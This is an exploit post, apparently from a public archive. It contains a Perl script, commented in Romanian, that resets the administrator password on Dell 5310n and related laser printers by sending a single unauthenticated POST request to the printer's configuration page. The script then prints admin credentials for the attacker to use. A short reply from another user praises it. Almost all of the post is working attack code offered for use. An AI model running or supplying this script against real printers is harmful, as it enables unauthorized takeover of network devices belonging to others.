Dell Laser Printer 5310n - "CSRF" Reset Admin Pass

[Number.49]

#!/usr/bin/perl

# ==========================================================

# Dell Laser Printer <= 5310n "CSRF" Reset Admin Pass

# ==========================================================

# Acest CRSF a fost testat cu succes pe mai multe imprimante Dell:

# Dell Laser Printer 5210n

# Dell Laser Printer 1720dn

# Exploit by : Number.49

# "Sunt un strop de intuneric,in lumea roz a manelistilor"

# ==========================================================

if ( !$ARGV[1] )

{

print "\n [!] Info : perl dell-5310n.pl [ip] [Parola]";

print "\n [?] Exemplu : perl dell-5310n.pl xxx.xxx.xxx.xxx BadPass";

exit;

}

use LWP;

my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');

$link = 'http://'.$ARGV[0].'/cgi-bin/postpf/cgi-bin/dynamic/config/config.html';

$data="vac.255.GENPASSWORD=".$ARGV[1]."&vac.255.GENPASSWORD=".$ARGV[1];

my $ua = LWP::UserAgent->new;

my $req = new HTTP::Request 'POST',$link;

$req->content_type('application/x-www-form-urlencoded');

$req->content($data);

my $res = $ua->request($req);

print "\n [!] Parola resetata cu succes!Va puteti autentifica cu:";

print "\n => User-ul : admin";

print "\n => Parola : ".$ARGV[1] ;

[escalation666]

Thanx for sharing, hardware hacking is fun.